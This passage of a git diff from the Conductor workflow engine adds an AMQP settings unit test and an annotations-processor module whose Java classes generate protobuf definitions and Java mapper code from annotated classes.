+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp; + +import java.time.Duration; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProperties; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPSettings; + +import com.rabbitmq.client.AMQP.PROTOCOL; +import com.rabbitmq.client.ConnectionFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class AMQPSettingsTest { + + private AMQPEventQueueProperties properties; + + @Before + public void setUp() { + properties = mock(AMQPEventQueueProperties.class); + when(properties.getBatchSize()).thenReturn(1); + when(properties.getPollTimeDuration()).thenReturn(Duration.ofMillis(100)); + when(properties.getHosts()).thenReturn(ConnectionFactory.DEFAULT_HOST); + when(properties.getUsername()).thenReturn(ConnectionFactory.DEFAULT_USER); + when(properties.getPassword()).thenReturn(ConnectionFactory.DEFAULT_PASS); + when(properties.getVirtualHost()).thenReturn(ConnectionFactory.DEFAULT_VHOST); + when(properties.getPort()).thenReturn(PROTOCOL.PORT); + when(properties.getConnectionTimeoutInMilliSecs()).thenReturn(60000); + when(properties.isUseNio()).thenReturn(false); + when(properties.isDurable()).thenReturn(true); + when(properties.isExclusive()).thenReturn(false); + when(properties.isAutoDelete()).thenReturn(false); + when(properties.getContentType()).thenReturn("application/json"); + when(properties.getContentEncoding()).thenReturn("UTF-8"); + when(properties.getExchangeType()).thenReturn("topic"); + when(properties.getDeliveryMode()).thenReturn(2); + when(properties.isUseExchange()).thenReturn(true); + } + + @Test + public void testAMQPSettings_queue_fromuri_without_exchange_prefix() { + String exchangestring = + "myExchangeName?bindQueueName=myQueueName&exchangeType=topic&routingKey=test&deliveryMode=2"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(exchangestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("test", settings.getRoutingKey()); + assertEquals("myExchangeName", settings.getQueueOrExchangeName()); + assertEquals("myQueueName", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.QUEUE, settings.getType()); + } + + @Test + public void testAMQPSettings_queue_fromuri_without_exchange_prefix_and_bind_queue() { + String exchangestring = "myExchangeName?exchangeType=topic&routingKey=test&deliveryMode=2"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(exchangestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("test", settings.getRoutingKey()); + assertEquals("myExchangeName", settings.getQueueOrExchangeName()); + assertEquals("bound_to_myExchangeName", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.QUEUE, settings.getType()); + } + + @Test + public void testAMQPSettings_exchange() { + String exchangestring = "myExchangeName?exchangeType=topic&routingKey=test&deliveryMode=2"; + AMQPSettings settings = new AMQPSettings(properties, "amqp_exchange"); + settings.fromURI(exchangestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("test", settings.getRoutingKey()); + assertEquals("myExchangeName", settings.getQueueOrExchangeName()); + assertEquals("bound_to_myExchangeName", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.EXCHANGE, settings.getType()); + } + + @Test + public void testAMQPSettings_queue() { + String queuestring = "myQueue"; + AMQPSettings settings = new AMQPSettings(properties, "amqp_queue"); + settings.fromURI(queuestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("myQueue", settings.getQueueOrExchangeName()); + assertEquals("bound_to_myQueue", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.QUEUE, settings.getType()); + } + + @Test + public void testAMQPSettings_queue_fromUri() { + String queuestring = "amqp_queue:myQueue"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(queuestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("myQueue", settings.getQueueOrExchangeName()); + assertEquals("bound_to_myQueue", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.QUEUE, settings.getType()); + } + + @Test + public void testAMQPSettings_exchange_fromUri() { + String queuestring = "amqp_exchange:myExchange"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(queuestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("myExchange", settings.getQueueOrExchangeName()); + assertEquals("bound_to_myExchange", settings.getExchangeBoundQueueName()); + assertEquals(AMQPSettings.Type.EXCHANGE, settings.getType()); + } + + @Test + public void testAMQPSettings_exchange_fromuri_defaultconfig() { + String exchangestring = + "amqp_exchange:myExchangeName?exchangeType=topic&routingKey=test&deliveryMode=2"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(exchangestring); + assertEquals("topic", settings.getExchangeType()); + assertEquals("test", settings.getRoutingKey()); + assertEquals("myExchangeName", settings.getQueueOrExchangeName()); + } + + @Test + public void testAMQPSettings_queue_fromuri_defaultconfig() { + String exchangestring = + "amqp_queue:myQueueName?deliveryMode=2&durable=false&autoDelete=true&exclusive=true"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(exchangestring); + assertFalse(settings.isDurable()); + assertTrue(settings.isExclusive()); + assertTrue(settings.autoDelete()); + assertEquals(2, settings.getDeliveryMode()); + assertEquals("myQueueName", settings.getQueueOrExchangeName()); + } + + @Test(expected = IllegalArgumentException.class) + public void testAMQPSettings_exchange_fromuri_wrongdeliverymode() { + String exchangestring = + "amqp_exchange:myExchangeName?exchangeType=topic&routingKey=test&deliveryMode=3"; + AMQPSettings settings = new AMQPSettings(properties); + settings.fromURI(exchangestring); + } +} diff --git a/annotations-processor/README.md b/annotations-processor/README.md new file mode 100644 index 0000000..75dfca3 --- /dev/null +++ b/annotations-processor/README.md @@ -0,0 +1 @@ +Annotation processor is used to generate protobuf files from the annotations. diff --git a/annotations-processor/build.gradle b/annotations-processor/build.gradle new file mode 100644 index 0000000..927b636 --- /dev/null +++ b/annotations-processor/build.gradle @@ -0,0 +1,24 @@ + +sourceSets { + example +} + +dependencies { + implementation project(':conductor-annotations') + api 'com.google.guava:guava:33.5.0-jre' + api 'com.squareup:javapoet:1.13.0' + api 'com.github.jknack:handlebars:4.5.0' + api "com.google.protobuf:protobuf-java:${revProtoBuf}" + api 'jakarta.annotation:jakarta.annotation-api:2.1.1' + api gradleApi() + + exampleImplementation sourceSets.main.output + exampleImplementation project(':conductor-annotations') +} + +task exampleJar(type: Jar) { + archiveFileName = 'example.jar' + from sourceSets.example.output.classesDirs +} + +testClasses.finalizedBy(exampleJar) diff --git a/annotations-processor/src/example/java/com/example/Example.java b/annotations-processor/src/example/java/com/example/Example.java new file mode 100644 index 0000000..f55cfac --- /dev/null +++ b/annotations-processor/src/example/java/com/example/Example.java @@ -0,0 +1,25 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.example; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +@ProtoMessage +public class Example { + @ProtoField(id = 1) + public String name; + + @ProtoField(id = 2) + public Long count; +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/AbstractMessage.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/AbstractMessage.java new file mode 100644 index 0000000..3794a7c --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/AbstractMessage.java @@ -0,0 +1,134 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.annotationsprocessor.protogen.types.MessageType; +import com.netflix.conductor.annotationsprocessor.protogen.types.TypeMapper; + +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeSpec; + +public abstract class AbstractMessage { + protected Class clazz; + protected MessageType type; + protected List fields = new ArrayList(); + protected List nested = new ArrayList<>(); + + public AbstractMessage(Class cls, MessageType parentType) { + assert cls.isAnnotationPresent(ProtoMessage.class) + || cls.isAnnotationPresent(ProtoEnum.class); + + this.clazz = cls; + this.type = TypeMapper.INSTANCE.declare(cls, parentType); + + for (Class nested : clazz.getDeclaredClasses()) { + if (nested.isEnum()) addNestedEnum(nested); + else addNestedClass(nested); + } + } + + private void addNestedEnum(Class cls) { + ProtoEnum ann = (ProtoEnum) cls.getAnnotation(ProtoEnum.class); + if (ann != null) { + nested.add(new Enum(cls, this.type)); + } + } + + private void addNestedClass(Class cls) { + ProtoMessage ann = (ProtoMessage) cls.getAnnotation(ProtoMessage.class); + if (ann != null) { + nested.add(new Message(cls, this.type)); + } + } + + public abstract String getProtoClass(); + + protected abstract void javaMapToProto(TypeSpec.Builder builder); + + protected abstract void javaMapFromProto(TypeSpec.Builder builder); + + public void generateJavaMapper(TypeSpec.Builder builder) { + javaMapToProto(builder); + javaMapFromProto(builder); + + for (AbstractMessage abstractMessage : this.nested) { + abstractMessage.generateJavaMapper(builder); + } + } + + public void generateAbstractMethods(Set specs) { + for (Field field : fields) { + field.generateAbstractMethods(specs); + } + + for (AbstractMessage elem : nested) { + elem.generateAbstractMethods(specs); + } + } + + public void findDependencies(Set dependencies) { + for (Field field : fields) { + field.getDependencies(dependencies); + } + + for (AbstractMessage elem : nested) { + elem.findDependencies(dependencies); + } + } + + public List getNested() { + return nested; + } + + public List getFields() { + return fields; + } + + public String getName() { + return clazz.getSimpleName(); + } + + public abstract static class Field { + protected int protoIndex; + protected java.lang.reflect.Field field; + + protected Field(int index, java.lang.reflect.Field field) { + this.protoIndex = index; + this.field = field; + } + + public abstract String getProtoTypeDeclaration(); + + public int getProtoIndex() { + return protoIndex; + } + + public String getName() { + return field.getName(); + } + + public String getProtoName() { + return field.getName().toUpperCase(); + } + + public void getDependencies(Set deps) {} + + public void generateAbstractMethods(Set specs) {} + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Enum.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Enum.java new file mode 100644 index 0000000..d1b4564 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Enum.java @@ -0,0 +1,101 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import javax.lang.model.element.Modifier; + +import com.netflix.conductor.annotationsprocessor.protogen.types.MessageType; + +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; +import com.squareup.javapoet.TypeSpec; + +public class Enum extends AbstractMessage { + public enum MapType { + FROM_PROTO("fromProto"), + TO_PROTO("toProto"); + + private final String methodName; + + MapType(String m) { + methodName = m; + } + + public String getMethodName() { + return methodName; + } + } + + public Enum(Class cls, MessageType parent) { + super(cls, parent); + + int protoIndex = 0; + for (java.lang.reflect.Field field : cls.getDeclaredFields()) { + if (field.isEnumConstant()) fields.add(new EnumField(protoIndex++, field)); + } + } + + @Override + public String getProtoClass() { + return "enum"; + } + + private MethodSpec javaMap(MapType mt, TypeName from, TypeName to) { + MethodSpec.Builder method = MethodSpec.methodBuilder(mt.getMethodName()); + method.addModifiers(Modifier.PUBLIC); + method.returns(to); + method.addParameter(from, "from"); + + method.addStatement("$T to", to); + method.beginControlFlow("switch (from)"); + + for (Field field : fields) { + String fromName = (mt == MapType.TO_PROTO) ? field.getName() : field.getProtoName(); + String toName = (mt == MapType.TO_PROTO) ? field.getProtoName() : field.getName(); + method.addStatement("case $L: to = $T.$L; break", fromName, to, toName); + } + + method.addStatement( + "default: throw new $T(\"Unexpected enum constant: \" + from)", + IllegalArgumentException.class); + method.endControlFlow(); + method.addStatement("return to"); + return method.build(); + } + + @Override + protected void javaMapFromProto(TypeSpec.Builder type) { + type.addMethod( + javaMap( + MapType.FROM_PROTO, + this.type.getJavaProtoType(), + TypeName.get(this.clazz))); + } + + @Override + protected void javaMapToProto(TypeSpec.Builder type) { + type.addMethod( + javaMap(MapType.TO_PROTO, TypeName.get(this.clazz), this.type.getJavaProtoType())); + } + + public class EnumField extends Field { + protected EnumField(int index, java.lang.reflect.Field field) { + super(index, field); + } + + @Override + public String getProtoTypeDeclaration() { + return String.format("%s = %d", getProtoName(), getProtoIndex()); + } + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Message.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Message.java new file mode 100644 index 0000000..ba6b112 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Message.java @@ -0,0 +1,141 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.lang.model.element.Modifier; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.annotationsprocessor.protogen.types.AbstractType; +import com.netflix.conductor.annotationsprocessor.protogen.types.MessageType; +import com.netflix.conductor.annotationsprocessor.protogen.types.TypeMapper; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeSpec; + +public class Message extends AbstractMessage { + public Message(Class cls, MessageType parent) { + super(cls, parent); + + for (java.lang.reflect.Field field : clazz.getDeclaredFields()) { + ProtoField ann = field.getAnnotation(ProtoField.class); + if (ann == null) continue; + + fields.add(new MessageField(ann.id(), field)); + } + } + + protected ProtoMessage getAnnotation() { + return (ProtoMessage) this.clazz.getAnnotation(ProtoMessage.class); + } + + @Override + public String getProtoClass() { + return "message"; + } + + @Override + protected void javaMapToProto(TypeSpec.Builder type) { + if (!getAnnotation().toProto() || getAnnotation().wrapper()) return; + + ClassName javaProtoType = (ClassName) this.type.getJavaProtoType(); + MethodSpec.Builder method = MethodSpec.methodBuilder("toProto"); + method.addModifiers(Modifier.PUBLIC); + method.returns(javaProtoType); + method.addParameter(this.clazz, "from"); + + method.addStatement( + "$T to = $T.newBuilder()", javaProtoType.nestedClass("Builder"), javaProtoType); + + for (Field field : this.fields) { + if (field instanceof MessageField) { + AbstractType fieldType = ((MessageField) field).getAbstractType(); + fieldType.mapToProto(field.getName(), method); + } + } + + method.addStatement("return to.build()"); + type.addMethod(method.build()); + } + + @Override + protected void javaMapFromProto(TypeSpec.Builder type) { + if (!getAnnotation().fromProto() || getAnnotation().wrapper()) return; + + MethodSpec.Builder method = MethodSpec.methodBuilder("fromProto"); + method.addModifiers(Modifier.PUBLIC); + method.returns(this.clazz); + method.addParameter(this.type.getJavaProtoType(), "from"); + + method.addStatement("$T to = new $T()", this.clazz, this.clazz); + + for (Field field : this.fields) { + if (field instanceof MessageField) { + AbstractType fieldType = ((MessageField) field).getAbstractType(); + fieldType.mapFromProto(field.getName(), method); + } + } + + method.addStatement("return to"); + type.addMethod(method.build()); + } + + public static class MessageField extends Field { + protected AbstractType type; + + protected MessageField(int index, java.lang.reflect.Field field) { + super(index, field); + } + + public AbstractType getAbstractType() { + if (type == null) { + type = TypeMapper.INSTANCE.get(field.getGenericType()); + } + return type; + } + + private static Pattern CAMEL_CASE_RE = Pattern.compile("(?<=[a-z])[A-Z]"); + + private static String toUnderscoreCase(String input) { + Matcher m = CAMEL_CASE_RE.matcher(input); + StringBuilder sb = new StringBuilder(); + while (m.find()) { + m.appendReplacement(sb, "_" + m.group()); + } + m.appendTail(sb); + return sb.toString().toLowerCase(); + } + + @Override + public String getProtoTypeDeclaration() { + return String.format( + "%s %s = %d", + getAbstractType().getProtoType(), toUnderscoreCase(getName()), getProtoIndex()); + } + + @Override + public void getDependencies(Set deps) { + getAbstractType().getDependencies(deps); + } + + @Override + public void generateAbstractMethods(Set specs) { + getAbstractType().generateAbstractMethods(specs); + } + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoFile.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoFile.java new file mode 100644 index 0000000..e562c0f --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoFile.java @@ -0,0 +1,78 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.util.HashSet; +import java.util.Set; + +import com.netflix.conductor.annotationsprocessor.protogen.types.TypeMapper; + +import com.squareup.javapoet.ClassName; + +public class ProtoFile { + public static String PROTO_SUFFIX = "Pb"; + + private ClassName baseClass; + private AbstractMessage message; + private String filePath; + + private String protoPackageName; + private String javaPackageName; + private String goPackageName; + + public ProtoFile( + Class object, + String protoPackageName, + String javaPackageName, + String goPackageName) { + this.protoPackageName = protoPackageName; + this.javaPackageName = javaPackageName; + this.goPackageName = goPackageName; + + String className = object.getSimpleName() + PROTO_SUFFIX; + this.filePath = "model/" + object.getSimpleName().toLowerCase() + ".proto"; + this.baseClass = ClassName.get(this.javaPackageName, className); + this.message = new Message(object, TypeMapper.INSTANCE.baseClass(baseClass, filePath)); + } + + public String getJavaClassName() { + return baseClass.simpleName(); + } + + public String getFilePath() { + return filePath; + } + + public String getProtoPackageName() { + return protoPackageName; + } + + public String getJavaPackageName() { + return javaPackageName; + } + + public String getGoPackageName() { + return goPackageName; + } + + public AbstractMessage getMessage() { + return message; + } + + public Set getIncludes() { + Set includes = new HashSet<>(); + message.findDependencies(includes); + includes.remove(this.getFilePath()); + return includes; + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGen.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGen.java new file mode 100644 index 0000000..a2716eb --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGen.java @@ -0,0 +1,133 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.io.Writer; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.*; + +import javax.lang.model.element.Modifier; + +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import com.github.jknack.handlebars.EscapingStrategy; +import com.github.jknack.handlebars.Handlebars; +import com.github.jknack.handlebars.Template; +import com.github.jknack.handlebars.io.ClassPathTemplateLoader; +import com.github.jknack.handlebars.io.TemplateLoader; +import com.google.common.reflect.ClassPath; +import com.squareup.javapoet.AnnotationSpec; +import com.squareup.javapoet.JavaFile; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeSpec; +import jakarta.annotation.Generated; + +public class ProtoGen { + private static final String GENERATOR_NAME = + "com.netflix.conductor.annotationsprocessor.protogen"; + + private String protoPackageName; + private String javaPackageName; + private String goPackageName; + private List protoFiles = new ArrayList<>(); + + public ProtoGen(String protoPackageName, String javaPackageName, String goPackageName) { + this.protoPackageName = protoPackageName; + this.javaPackageName = javaPackageName; + this.goPackageName = goPackageName; + } + + public void writeMapper(File root, String mapperPackageName) throws IOException { + TypeSpec.Builder protoMapper = + TypeSpec.classBuilder("AbstractProtoMapper") + .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT) + .addAnnotation( + AnnotationSpec.builder(Generated.class) + .addMember("value", "$S", GENERATOR_NAME) + .build()); + + Set abstractMethods = new HashSet<>(); + + protoFiles.sort( + new Comparator() { + public int compare(ProtoFile p1, ProtoFile p2) { + String n1 = p1.getMessage().getName(); + String n2 = p2.getMessage().getName(); + return n1.compareTo(n2); + } + }); + + for (ProtoFile protoFile : protoFiles) { + AbstractMessage elem = protoFile.getMessage(); + elem.generateJavaMapper(protoMapper); + elem.generateAbstractMethods(abstractMethods); + } + + protoMapper.addMethods(abstractMethods); + + JavaFile javaFile = + JavaFile.builder(mapperPackageName, protoMapper.build()).indent(" ").build(); + File filename = new File(root, "AbstractProtoMapper.java"); + try (Writer writer = new FileWriter(filename.toString())) { + System.out.printf("protogen: writing '%s'...\n", filename); + javaFile.writeTo(writer); + } + } + + public void writeProtos(File root) throws IOException { + TemplateLoader loader = new ClassPathTemplateLoader("/templates", ".proto"); + Handlebars handlebars = + new Handlebars(loader) + .infiniteLoops(true) + .prettyPrint(true) + .with(EscapingStrategy.NOOP); + + Template protoFile = handlebars.compile("file"); + + for (ProtoFile file : protoFiles) { + File filename = new File(root, file.getFilePath()); + try (Writer writer = new FileWriter(filename)) { + System.out.printf("protogen: writing '%s'...\n", filename); + protoFile.apply(file, writer); + } + } + } + + public void processPackage(File jarFile, String packageName) throws IOException { + if (!jarFile.isFile()) throw new IOException("missing Jar file " + jarFile); + + URL[] urls = new URL[] {jarFile.toURI().toURL()}; + ClassLoader loader = + new URLClassLoader(urls, Thread.currentThread().getContextClassLoader()); + ClassPath cp = ClassPath.from(loader); + + System.out.printf("protogen: processing Jar '%s'\n", jarFile); + for (ClassPath.ClassInfo info : cp.getTopLevelClassesRecursive(packageName)) { + try { + processClass(info.load()); + } catch (NoClassDefFoundError ignored) { + } + } + } + + public void processClass(Class obj) { + if (obj.isAnnotationPresent(ProtoMessage.class)) { + System.out.printf("protogen: found %s\n", obj.getCanonicalName()); + protoFiles.add(new ProtoFile(obj, protoPackageName, javaPackageName, goPackageName)); + } + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTask.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTask.java new file mode 100644 index 0000000..d161d6f --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTask.java @@ -0,0 +1,151 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.io.File; +import java.io.IOException; + +public class ProtoGenTask { + private String protoPackage; + private String javaPackage; + private String goPackage; + + private File protosDir; + private File mapperDir; + private String mapperPackage; + + private File sourceJar; + private String sourcePackage; + + public String getProtoPackage() { + return protoPackage; + } + + public void setProtoPackage(String protoPackage) { + this.protoPackage = protoPackage; + } + + public String getJavaPackage() { + return javaPackage; + } + + public void setJavaPackage(String javaPackage) { + this.javaPackage = javaPackage; + } + + public String getGoPackage() { + return goPackage; + } + + public void setGoPackage(String goPackage) { + this.goPackage = goPackage; + } + + public File getProtosDir() { + return protosDir; + } + + public void setProtosDir(File protosDir) { + this.protosDir = protosDir; + } + + public File getMapperDir() { + return mapperDir; + } + + public void setMapperDir(File mapperDir) { + this.mapperDir = mapperDir; + } + + public String getMapperPackage() { + return mapperPackage; + } + + public void setMapperPackage(String mapperPackage) { + this.mapperPackage = mapperPackage; + } + + public File getSourceJar() { + return sourceJar; + } + + public void setSourceJar(File sourceJar) { + this.sourceJar = sourceJar; + } + + public String getSourcePackage() { + return sourcePackage; + } + + public void setSourcePackage(String sourcePackage) { + this.sourcePackage = sourcePackage; + } + + public void generate() { + ProtoGen generator = new ProtoGen(protoPackage, javaPackage, goPackage); + try { + generator.processPackage(sourceJar, sourcePackage); + generator.writeMapper(mapperDir, mapperPackage); + generator.writeProtos(protosDir); + } catch (IOException e) { + System.err.printf("protogen: failed with %s\n", e); + } + } + + public static void main(String[] args) { + if (args == null || args.length < 8) { + throw new RuntimeException( + "protogen configuration incomplete, please provide all required (8) inputs"); + } + ProtoGenTask task = new ProtoGenTask(); + int argsId = 0; + task.setProtoPackage(args[argsId++]); + task.setJavaPackage(args[argsId++]); + task.setGoPackage(args[argsId++]); + task.setProtosDir(new File(args[argsId++])); + task.setMapperDir(new File(args[argsId++])); + task.setMapperPackage(args[argsId++]); + task.setSourceJar(new File(args[argsId++])); + task.setSourcePackage(args[argsId]); + System.out.println("Running protogen with arguments: " + task); + task.generate(); + System.out.println("protogen completed."); + } + + @Override + public String toString() { + return "ProtoGenTask{" + + "protoPackage='" + + protoPackage + + '\'' + + ", javaPackage='" + + javaPackage + + '\'' + + ", goPackage='" + + goPackage + + '\'' + + ", protosDir=" + + protosDir + + ", mapperDir=" + + mapperDir + + ", mapperPackage='" + + mapperPackage + + '\'' + + ", sourceJar=" + + sourceJar + + ", sourcePackage='" + + sourcePackage + + '\'' + + '}'; + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/AbstractType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/AbstractType.java new file mode 100644 index 0000000..6a38fd5 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/AbstractType.java @@ -0,0 +1,101 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.Set; + +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; + +public abstract class AbstractType { + Type javaType; + TypeName javaProtoType; + + AbstractType(Type javaType, TypeName javaProtoType) { + this.javaType = javaType; + this.javaProtoType = javaProtoType; + } + + public Type getJavaType() { + return javaType; + } + + public TypeName getJavaProtoType() { + return javaProtoType; + } + + public abstract String getProtoType(); + + public abstract TypeName getRawJavaType(); + + public abstract void mapToProto(String field, MethodSpec.Builder method); + + public abstract void mapFromProto(String field, MethodSpec.Builder method); + + public abstract void getDependencies(Set deps); + + public abstract void generateAbstractMethods(Set specs); + + protected String javaMethodName(String m, String field) { + String fieldName = field.substring(0, 1).toUpperCase() + field.substring(1); + return m + fieldName; + } + + private static class ProtoCase { + static String convert(String s) { + StringBuilder out = new StringBuilder(s.length()); + final int len = s.length(); + int i = 0; + int j = -1; + while ((j = findWordBoundary(s, ++j)) != -1) { + out.append(normalizeWord(s.substring(i, j))); + if (j < len && s.charAt(j) == '_') j++; + i = j; + } + if (i == 0) return normalizeWord(s); + if (i < len) out.append(normalizeWord(s.substring(i))); + return out.toString(); + } + + private static boolean isWordBoundary(char c) { + return (c >= 'A' && c <= 'Z'); + } + + private static int findWordBoundary(CharSequence sequence, int start) { + int length = sequence.length(); + if (start >= length) return -1; + + if (isWordBoundary(sequence.charAt(start))) { + int i = start; + while (i < length && isWordBoundary(sequence.charAt(i))) i++; + return i; + } else { + for (int i = start; i < length; i++) { + final char c = sequence.charAt(i); + if (c == '_' || isWordBoundary(c)) return i; + } + return -1; + } + } + + private static String normalizeWord(String word) { + if 